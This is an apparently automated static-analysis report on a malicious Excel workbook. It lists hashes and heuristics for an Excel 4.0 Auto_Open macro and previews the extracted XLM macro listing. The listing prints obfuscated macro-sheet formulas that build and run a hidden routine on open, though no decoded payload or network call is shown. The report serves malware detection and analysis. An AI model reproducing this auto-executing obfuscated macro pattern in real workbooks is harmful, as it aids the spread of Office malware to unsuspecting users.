Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 643594610b6db0eb…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:44:16 Authoring application: Microsoft Excel First seen: 2020-12-25
MD5: 151d6e80c5d70e89d9f0e7709e34aae8 SHA-1: 2d7c35fb727dac42f6e8a51e24a34764e7c6f752 SHA-256: 643594610b6db0eb3c69af53b3d29434529b8f8af4a1378e719bf96794dac761
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6682 bytes
SHA-256: d89ed465e4e8e5846c6cbcb9b3b3f85968a8a1a786d59da0b11129fd34a4873c
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     16 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  oFkqFyS
' 0018     23 LABEL : Cell Value, String Constant - AEGUWaIj len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!C154 
' 0018     24 LABEL : Cell Value, String Constant - bWVAKAebP len=0 
' 0018     27 LABEL : Cell Value, String Constant - caZwiClVRCyH len=0 
' 0018     25 LABEL : Cell Value, String Constant - cGWynSVjTI len=0 
' 0018     21 LABEL : Cell Value, String Constant - FHCnrp len=0 
' 0018     20 LABEL : Cell Value, String Constant - frCra len=0 
' 0018     21 LABEL : Cell Value, String Constant - FUChXg len=0 
' 0018     24 LABEL : Cell Value, String Constant - gnCPmLqqX len=0 
' 0018     20 LABEL : Cell Value, String Constant - HQDeI len=0 
' 0018     25 LABEL : Cell Value, String Constant - jNldszmSoC len=0 
' 0018     24 LABEL : Cell Value, String Constant - KQrXPrazy len=0 
' 0018     22 LABEL : Cell Value, String Constant - LvLeAfH len=0 
' 0018     21 LABEL : Cell Value, String Constant - mfjrWh len=0 
' 0018     25 LABEL : Cell Value, String Constant - nRDaqhlkHE len=0 
' 0018     25 LABEL : Cell Value, String Constant - ThVbOsRRVu len=0 
' 0018     22 LABEL : Cell Value, String Constant - uRdlqTx len=0 
' 0018     22 LABEL : Cell Value, String Constant - VCGicCw len=0 
' 0018     26 LABEL : Cell Value, String Constant - vdgJFraocBx len=0 
' 0018     22 LABEL : Cell Value, String Constant - wHwylGe len=0 
' 0018     25 LABEL : Cell Value, String Constant - zSukxQQilD len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  oFkqFyS,S54,"",-87.00000000000000000000
'  oFkqFyS,S55,"",257.00000000000000000000
'  oFkqFyS,S56,"",-952.00000000000000000000
'  oFkqFyS,S57,"",694.00000000000000000000
'  oFkqFyS,S58,"",405.00000000000000000000
'  oFkqFyS,S59,"",-825.00000000000000000000
'  oFkqFyS,C72,"SET.NAME("HQDeI",0+VALUE("0"))",""
'  oFkqFyS,C74,"SET.NAME("vdgJFraocBx",HQDeI)",""
'  oFkqFyS,C76,"SET.NAME("LvLeAfH",HQDeI)",""
'  oFkqFyS,C78,"SET.NAME("zSukxQQilD",COUNTA(AEGUWaIj))",""
'  oFkqFyS,C83,"SET.NAME("FHCnrp",COUNTA(ThVbOsRRVu))",""
'  oFkqFyS,C85,[],""
'  oFkqFyS,C90,"SET.NAME("uRdlqTx","")",""
'  oFkqFyS,C93,"vdgJFraocBx",""
'  oFkqFyS,C95,"SET.NAME("gnCPmLqqX",HLOOKUP("*",AEGUWaIj,vdgJFraocBx,FALSE))",""
'  oFkqFyS,C98,"jNldszmSoC",""
'  oFkqFyS,C101,"SET.NAME("mfjrWh",HQDeI)",""
'  oFkqFyS,C104,[],""
'  oFkqFyS,C107,"mfjrWh",""
'  oFkqFyS,C112,"cGWynSVjTI",""
'  oFkqFyS,C114,"nRDaqhlkHE",""
'  oFkqFyS,C119,"KQrXPrazy",""
'  oFkqFyS,C121,"SET.NAME("bWVAKAebP",VALUE(HLOOKUP("*",ThVbOsRRVu,KQrXPrazy,FALSE)))",""
'  oFkqFyS,C123,"wHwylGe",""
'  oFkqFyS,C127,"uRdlqTx",""
'  oFkqFyS,C132,"LvLeAfH",""
'  oFkqFyS,C137,NEXT(),""
'  oFkqFyS,C140,"VCGicCw",""
'  oFkqFyS,C144,[],""
'  oFkqFyS,C147,"frCra",""
'  oFkqFyS,C149,NEXT(),""
'  oFkqFyS,C151,RETURN(),""
'  oFkqFyS,C184,"SET.NAME("FUChXg",C72)",""
'  oFkqFyS,C188,"AEGUWaIj",""
'  oFkqFyS,C190,"SET.NAME("ThVbOsRRVu",R69C15)",""
'  oFkqFyS,C192,"SET.NAME("frCra",201)",""
'  oFkqFyS,C197,"SET.NAME("caZwiClVRCyH",3)",""
'  oFkqFyS,C200,FUChXg(),""
'  oFkqFyS,C201,HALT(),""

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